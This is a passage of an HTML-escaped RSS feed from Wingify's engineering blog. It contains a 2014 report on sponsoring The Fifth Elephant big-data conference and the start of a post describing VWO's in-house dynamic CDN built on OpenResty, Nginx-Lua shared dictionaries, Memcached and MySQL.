style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#further-reading&quot; aria-label=&quot;further reading permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Further Reading&lt;/h2&gt; &lt;p&gt;Head over to &lt;a href=&quot;http://engineering.wingify.com/dom-comparator/&quot;&gt;the documentation&lt;/a&gt; if you&apos;d like to know more.&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Wingify at The Fifth Elephant]]></title><description><![CDATA[The Fifth Elephant is a popular conference in India around the Big Data ecosystem. It happened last week in Bangalore. And we were proud to…]]></description><link>https://engineering.wingify.com//posts/wingify-at-the-fifth-elephant/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-at-the-fifth-elephant/</guid><pubDate>Sat, 02 Aug 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;[The Fifth Elephant][1] is a popular conference in India around the Big Data ecosystem. It happened last week in Bangalore. And we were proud to sponsor the conference. To represent Wingify at the event, [Ankit][2], [Varun][3] and [I (Vaidik)][4] attended the event. This blog post is an account of what we did at the event and what we learned by sponsoring, attending and being present at the conference as an organization.&lt;/p&gt; &lt;div id=&quot;fifth-elephant-gallery&quot;&gt; &lt;img src=&quot;/images/2014/08/0.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/3.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/1.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/2.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/4.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/5.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/6.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/7.jpg&quot;&gt; &lt;img src=&quot;/images/2014/08/8.jpg&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;the-conference&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-conference&quot; aria-label=&quot;the conference permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The conference&lt;/h2&gt; &lt;p&gt;The organizers reported that there were 960 registrations for the conference - quite a big number for a conference around something like Big Data. It seems most of the attendees were from Bangalore and not many had come from Delhi. There were talks around infrastructure for big data systems, machine learning, data mining, etc. A few talks out of the ones we attended were really good. There were a few that we wanted to attend but couldn&apos;t because we were busy talking to people who wanted to talk to us and know more about us. Well that&apos;s what conferences are about - attend a few good talks and meet a lot of people. Fortunately, HasGeek will put out the [recorded videos][5] of those sessions soon. Some talks were around interesting topics and some not so much. Shailesh&apos;s talk on [The Art of Data Mining][6] was certainly the best talk out of all the talks that I managed to attend (personal opinion).&lt;/p&gt; &lt;p&gt;There were poster sessions for talks that the editorial panel found interesting but not interesting enough to select them for sessions. My proposal for [Using Elasticsearch for Analytics][7] ([presentation slides][8]) was selected for a poster session, which I presented on the 2nd day of the conference. It was interesting to see that multiple teams within Flipkart, Red Hat, a couple of other product startups and services companies were interested in doing the same. So we ended up having long discussions about how are using [Elasticsearch][9] for analytics it at Wingify and how they can use [Elasticsearch][10] to solve similar problems.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px;&quot;&gt; &lt;a href=&quot;https://flic.kr/p/ovqdx8&quot;&gt; &lt;img src=&quot;/images/2014/08/7.jpg&quot;&gt; &lt;/a&gt; &lt;/div&gt; &lt;h2 id=&quot;our-presence-at-the-conference&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#our-presence-at-the-conference&quot; aria-label=&quot;our presence at the conference permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Our presence at the conference&lt;/h2&gt; &lt;p&gt;We had a desk/booth which we managed to prepare nicely to catch everyone&apos;s attention. We got a display next to our desk on which we played our super cool video that we put on [vwo.com][11] (a few people expressed that they really liked the video). I think that caught a lot of people&apos;s attention. We also strategically placed our standees at places where it was clearly visible. Looking at other standees, I think ours was one of the best in design if not the best. We distributed our t-shirts and stickers, which seemed to attract a lot of people (more than once for the free t-shirt). A few people gave us compliments for the A-4 insert we distributed to all the participants at the time of registration. Thanks to Paras for helping out with the content and the design.&lt;/p&gt; &lt;p&gt;On the first day, an overwhelming number of people walked up to our booth. They were mostly unaware of our and our product&apos;s existence. Many were blown away by the idea. Some not so much. But after talking to so many people, we figured that we were not absolutely correct about ignoring this conference as a place to promote the product and get prospective clients. Other than engineers, there were decision makers from large companies like Amazon, Citibank, Ebay and Lenovo who Ankit got a chance to speak with.&lt;/p&gt; &lt;p&gt;We were primarily at Fifth Elephant for the purpose of establishing the Wingify engineering brand and hiring. We were able to spread the word about what we do and got people interested about product and work. So on the front of establishing our engineering brand, we were somewhat successful - this was evident from the kind of conversations we had with people at our booth and the number of people who shared their contact details with us (this is not always very conclusive as free goodies attract people and the number can be deceiving). A lot of people were interested in understanding what kind of roles we are hiring for. These people were interested in data science and software engineering. Fingers crossed - we might get some applications soon and opportunity to work with some amazing people. People found our product cool - many did not know that something of this sort existed. I think this was one of the things that got them interested. However, some were sad to know that we are based out of Delhi instead of Bangalore, as I initially said that it seemed like most of the attendees were from Bangalore. That just says that the community in Delhi needs to work together to make Delhi more exciting for engineers.&lt;/p&gt; &lt;h2 id=&quot;community&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#community&quot; aria-label=&quot;community permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Community&lt;/h2&gt; &lt;p&gt;We engaged with the community through our booth and at other moments like lunch during the conference. We got the opportunity to make connections with different startups and individuals like Jabong, BloomReach, SupportBee, Inmobi, Flipkart, GlusterFS (and Red Hat), Qubole, Myntra, Aerospike and Slideshare. I might have missed some unintentionally. We got to learn about what they are doing and we shared what we are doing. Discussions were usually about the product, engineering, our tech stack, specific engineering problems, the team, work culture, community in Delhi, etc. People were exited to know our stack and what we are doing with it. We always knew that our tech stack is not the conventional stack but we realized that it&apos;s uncommon and cool.&lt;/p&gt; &lt;p&gt;In the process, we had good some good discussions and connected with good people who we think will hopefully help us with solving some problems we are trying to solve - making friends of Wingify :)&lt;/p&gt; &lt;h2 id=&quot;we-learned-about-new-things&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#we-learned-about-new-things&quot; aria-label=&quot;we learned about new things permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;We learned about new things&lt;/h2&gt; &lt;p&gt;We have not always been very focussed at doing a lot with collected data. With our latest release, we have come up with a number of features that make use of large amount of data our systems collect and our solutions to these problems were rather unconventional. With the latest release and our plans, we will be making more and more use of collected data for deriving useful insights for our customers and building new features that will help our customers optimize and increase their conversions. Since we have plans to work with data, The Fifth Elephant was an important conference for us to learn about what exactly is going on in the Big Data universe and how we can make use of all that at Wingify. Aerospike NoSQL Database, Cachebox, Imobi&apos;s Grill project are just a few things that we got introduced to and we may explore them in the future for our varied use-cases. It was interesting to see people are trying to leverage SSDs for solving different kind of problems. Aerospike is a NoSQL database optimized for SSD disks and claims to be extremely performant (200,000 QPS per node). CacheBox is an advanced caching solution that leverages flash storage for improving performance for databases.&lt;/p&gt; &lt;p&gt;Other than these systems, there were some learning around building big data infrastructure, real-time data pipelines and data mining. There was a talk on [Lessons from Elasticsearch in Production][12] by [Swaroop CH][13] from [Helpshift][14]. We have been using Elasticsearch at Wingify and it was interesting to see that we were not facing similar problems as they were. We took that as a sign to be cautious and be prepared for firefighting such problems. These were around using Elasticsearch&apos;s Snapshot and Restore API (they say it doesn&apos;t work) and performing rolling upgrades (which is the recommended way of doing upgrades). We never had such problems but we are now aware that others have had such problems and we can be better prepared.&lt;/p&gt; &lt;h2 id=&quot;to-sum-up&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#to-sum-up&quot; aria-label=&quot;to sum up permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;To sum up&lt;/h2&gt; &lt;p&gt;It was a great experience being at this conference. It was for the first time we attended a Big Data conference. This ecosystem in India seems to be big and growing and hopefully there will be better content at conferences like these in the future. Thanks to [HasGeek][15] for taking the initiative. We hope that the conference will continue to happen in the years to come.&lt;/p&gt; &lt;p&gt;If you were present at the conference and met us there, please do not hesitate to connect with us. If you have any questions to ask regarding our experiences, go ahead and leave comments and we will get back to you. If you like what we do at Wingify and want to join the force, we will be happy to work with you. [We are hiring!][16]&lt;/p&gt; &lt;h3 id=&quot;photo-credits&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#photo-credits&quot; aria-label=&quot;photo credits permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Photo Credits&lt;/h3&gt; &lt;p&gt;The beautiful photographs in this post have been provided by [HasGeek][17]. You can find more photographs of The Fifth Elephant at the following links:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;[Conference Day 1][18]&lt;/li&gt; &lt;li&gt; &lt;p&gt;[Conference Day 2][19]&lt;/p&gt; &lt;p&gt;[1]: &lt;a href=&quot;http://fifthelephant.in&quot;&gt;http://fifthelephant.in&lt;/a&gt; [2]: &lt;a href=&quot;http://twitter.com/ankneo&quot;&gt;http://twitter.com/ankneo&lt;/a&gt; [3]: &lt;a href=&quot;http://github.com/softvar&quot;&gt;http://github.com/softvar&lt;/a&gt; [4]: &lt;a href=&quot;http://github.com/vaidik&quot;&gt;http://github.com/vaidik&lt;/a&gt; [5]: &lt;a href=&quot;http://hasgeek.tv&quot;&gt;http://hasgeek.tv&lt;/a&gt; [6]: &lt;a href=&quot;https://funnel.hasgeek.com/fifthel2014/1166-the-art-of-data-mining-practical-learnings-from-re&quot;&gt;https://funnel.hasgeek.com/fifthel2014/1166-the-art-of-data-mining-practical-learnings-from-re&lt;/a&gt; [7]: &lt;a href=&quot;https://funnel.hasgeek.com/fifthel2014/1143-using-elasticsearch-for-analytics&quot;&gt;https://funnel.hasgeek.com/fifthel2014/1143-using-elasticsearch-for-analytics&lt;/a&gt; [8]: &lt;a href=&quot;https://speakerdeck.com/vaidik/using-elasticsearch-for-analytics&quot;&gt;https://speakerdeck.com/vaidik/using-elasticsearch-for-analytics&lt;/a&gt; [9]: &lt;a href=&quot;http://elasticsearch.org&quot;&gt;http://elasticsearch.org&lt;/a&gt; [10]: &lt;a href=&quot;http://elasticsearch.org&quot;&gt;http://elasticsearch.org&lt;/a&gt; [11]: &lt;a href=&quot;https://vwo.com&quot;&gt;https://vwo.com&lt;/a&gt; [12]: &lt;a href=&quot;https://funnel.hasgeek.com/fifthel2014/1181-lessons-from-elasticsearch-in-production&quot;&gt;https://funnel.hasgeek.com/fifthel2014/1181-lessons-from-elasticsearch-in-production&lt;/a&gt; [13]: &lt;a href=&quot;https://twitter.com/swaroopch&quot;&gt;https://twitter.com/swaroopch&lt;/a&gt; [14]: &lt;a href=&quot;http://helpshift.com&quot;&gt;http://helpshift.com&lt;/a&gt; [15]: &lt;a href=&quot;http://hasgeek.in&quot;&gt;http://hasgeek.in&lt;/a&gt; [16]: &lt;a href=&quot;http://wingify.com/careers&quot;&gt;http://wingify.com/careers&lt;/a&gt; [17]: &lt;a href=&quot;http://hasgeek.in&quot;&gt;http://hasgeek.in&lt;/a&gt; [18]: &lt;a href=&quot;https://www.flickr.com/photos/hasgeek/sets/72157645996766474/&quot;&gt;https://www.flickr.com/photos/hasgeek/sets/72157645996766474/&lt;/a&gt; [19]: &lt;a href=&quot;https://www.flickr.com/photos/hasgeek/sets/72157645599451387/&quot;&gt;https://www.flickr.com/photos/hasgeek/sets/72157645599451387/&lt;/a&gt;&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Vaidik Kapoor</author></item><item><title><![CDATA[Dynamic CDN]]></title><description><![CDATA[We, at Wingify, handle not just our own traffic, but also the traffic of major websites such as Microsoft, AMD, Groupon, and WWF that…]]></description><link>https://engineering.wingify.com//posts/dynamic-cdn/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/dynamic-cdn/</guid><pubDate>Wed, 23 Jul 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We, at Wingify, handle not just our own traffic, but also the traffic of major websites such as &lt;a href=&quot;http://www.microsoft.com/&quot;&gt;Microsoft&lt;/a&gt;, &lt;a href=&quot;http://www.amd.com/&quot;&gt;AMD&lt;/a&gt;, &lt;a href=&quot;http://www.groupon.com/&quot;&gt;Groupon&lt;/a&gt;, and &lt;a href=&quot;http://www.worldwildlife.org/&quot;&gt;WWF&lt;/a&gt; that implement &lt;a href=&quot;https://vwo.com&quot;&gt;Visual Website Optimizer (VWO)&lt;/a&gt; for their website optimization. VWO allows users to A/B test their websites and optimize conversions. With an intuitive WYSIWYG editor, you can easily make changes to your website and create multiple variations you can A/B test. When a visitor lands on your website, VWO selects one of the variations created in the running campaign(s) and the JavaScript library does the required modifications to generate the selected variation based on the URL visited seen by the visitor. Furthermore, VWO collects analytics data for every visitor interaction with the website and generates detailed reports to help you understand your audience behavior and provide deeper insight of your business results.&lt;/p&gt; &lt;p&gt;Here is a very high-level overview of what goes on behind the scenes:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2014/07/0.png&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;how-it-started&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#how-it-started&quot; aria-label=&quot;how it started permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;How it started&lt;/h2&gt; &lt;p&gt;Back in the days, we deployed one server in the United States that had the standard LAMP stack running on it. The server stored all changes made to a website using VWO app, served our static JS library, collected analytics data, captured visitor data, and saved it in a MySQL database.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2014/07/1.png&quot;&gt; &lt;/div&gt; &lt;p&gt;This implementation worked perfectly for us initially, when we were serving a limited number of users. However, as our user base kept growing, we had to deploy additional Load Balancers and Varnish cache servers (each having 32GB of RAM and we had 8 such servers to meet our requirements) to make sure that we cache the content for every requested URL and serve back the content in the least possible time.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 5px&quot;&gt; &lt;img src=&quot;/images/2014/07/2.png&quot;&gt; &lt;/div&gt; &lt;p&gt;Gradually, we started using these servers only for serving JS settings and collecting analytics data, and started using Amazon&apos;s CloudFront CDN for serving static JS library.&lt;/p&gt; &lt;h2 id=&quot;issues-we-faced&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#issues-we-faced&quot; aria-label=&quot;issues we faced permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Issues we faced&lt;/h2&gt; &lt;p&gt;This worked great for a while till we hit our traffic to more than 1k requests per sec. With so much of traffic coming in and the increasing number of unique URLs being tested, the system started failing. We experienced frequent cache misses and Varnish required more RAM to cope up with the new requirements. We knew we had hit the bottom-end there and quickly realized that it was time for us to stop everything and get our thinking caps back on to redesign the architecture. We now needed a scalable system that was easier to maintain, and would cater to the needs of our users from various geo locations.&lt;/p&gt; &lt;h2 id=&quot;the-new-requirements&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-new-requirements&quot; aria-label=&quot;the new requirements permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The new requirements&lt;/h2&gt; &lt;p&gt;Today, VWO uses a Dynamic CDN built in-house that can cater to users based in any part of the world. The current implementation offers us with the following advantages in comparison with other available CDNs:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Capability of handling almost any amount of requests at average response times of 50ms&lt;/li&gt; &lt;li&gt;Handles 10k+ request/sec per node (8GB RAM). We have benchmarked this system to handle 50k requests/sec per node in our current production scenario&lt;/li&gt; &lt;li&gt;100% uptime&lt;/li&gt; &lt;li&gt;Improved response time and data acquisition as the servers are closer to the user, thus minimizing the latency and increasing the chances of successful delivery of data&lt;/li&gt; &lt;li&gt;Considerable cost savings as compared to the previous system&lt;/li&gt; &lt;li&gt;Freedom to add new nodes without any dependencies on other nodes&lt;/li&gt; &lt;/ul&gt; &lt;h3 id=&quot;implementation-challenges-and-technicalities&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#implementation-challenges-and-technicalities&quot; aria-label=&quot;implementation challenges and technicalities permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Implementation challenges and technicalities&lt;/h3&gt; &lt;p&gt;The core issue we had to resolve was to avoid sending the same response for all the requests coming from a domain or a particular account. In the old implementation, we were serving JSON for all the campaigns running in an account, irrespective of a campaign running on that URL. This loaded unnecessary JS code, which might not be useful for a particular URL, thereby increasing load time of the website. We knew how page-load time is crucial for online businesses and how it directly impacts their revenue. In the marketing world, the users are less likely to make purchases from a slow loading website as compared to a fast loading website.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/07/3.png&quot;&gt; &lt;/div&gt; &lt;p&gt;It is important to make sure that we only serve relevant content based on the URL of the page. There are two ways to do this:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Cache JSON for all the URLs and use cache like Varnish (the old system).&lt;/li&gt; &lt;li&gt;Cache each campaign running in an account and then build/combine the settings dynamically for each URL. This approach is the fastest possible way of implementation with least amount of resources.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;With the approach identified, we started looking for nodes that could do everything for us - generate dynamic JSON on the basis of request, serve static JS library, and handle data acquisition. Another challenge was to make these nodes a part of distributed system that spreads across different geographies, with no dependency on each other while making sure that the request is served from the closest location instead of nodes only in the US. We had written a blog post earlier to explain this to our customers. &lt;a href=&quot;https://vwo.com/blog/geo-distributed-architecture/&quot;&gt;Read it here&lt;/a&gt;.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/07/4.png&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;a href=&quot;http://openresty.org/&quot;&gt;OpenResty (aka. ngx_openresty)&lt;/a&gt; our current workhorse, is a full-fledged web application server created by bundling the standard Nginx core with different &lt;a href=&quot;http://wiki.nginx.org/3rdPartyModules&quot;&gt;3rd-party Nginx modules&lt;/a&gt; and their external dependencies. It also bundles Lua modules to allow writing URL handlers in Lua, and the Lua code runs within the web server.&lt;/p&gt; &lt;p&gt;From 1 server running Apache + PHP to multiple nodes involving Nginx (load balancer) -&gt; Varnish (cache) -&gt; Apache + PHP (for cache miss + data collection), to the current system where each node in itself is capable of handling all types of requests. We serve our static JS library, JSON settings for every campaign and also use these servers for analytics data acquisition.&lt;/p&gt; &lt;p&gt;The following section describes briefly the new architecture of our CDN and how VWO servers handle requests:&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2014/07/5.png&quot;&gt; &lt;/div&gt; &lt;ol&gt; &lt;li&gt;We use &lt;a href=&quot;http://wiki.nginx.org/HttpLuaModule#ngx.shared.DICT&quot;&gt;Nginx-Lua Shared Dictionary&lt;/a&gt;, an in-memory store shared among all the Nginx worker processes to store campaign specific data. Memcached is used as the first fallback if we have to restart the OpenResty server (it resets the shared dictionary). Our second fallback is our central MySQL database. If any request fails at any level, [the system] fetches it from the lower layer and responses are saved in all the above levels to make them available for the next request.&lt;/li&gt; &lt;li&gt;Once the request hits our server to fetch JSON for the campaigns running on a webpage, VWO runs a regex match for the requested URL with the list of URL regex patterns stored in the Nginx-Lua shared dictionary (key being Account ID, O(1) lookup, FAST!). This returns the list of campaign IDs valid for the requested URL. All the regex patterns are compiled and cached in worker-process level and shared among all requests.&lt;/li&gt; &lt;li&gt;Next, VWO looks up for the campaign IDs (returned after matching the requested URL) in the Nginx-Lua shared dictionary, with Account ID and Campaign ID as key (again an O(1) lookup). This returns the settings for all campaigns, which are then combined and sent with some additional data in response based on requests such as geo-location data, 3rd party integrations specific code, etc. We ensure that the caching layer does not have stale data and is updated within a few milliseconds. This offers us advantage in terms of validation time taken by most CDNs available.&lt;/li&gt; &lt;li&gt;To ensure that the request is served from the closest server to the visitor, we use managed DNS services from DynECT that keeps a check on the response times from various POPs and replies with the best possible server IPs (both in terms of health and distance). This helps us ensure a failsafe delivery network.&lt;/li&gt; &lt;li&gt;To ensure that the system captures analytics data, all data related to visitors, conversions and heatmaps is sent to these servers. We use Openresty 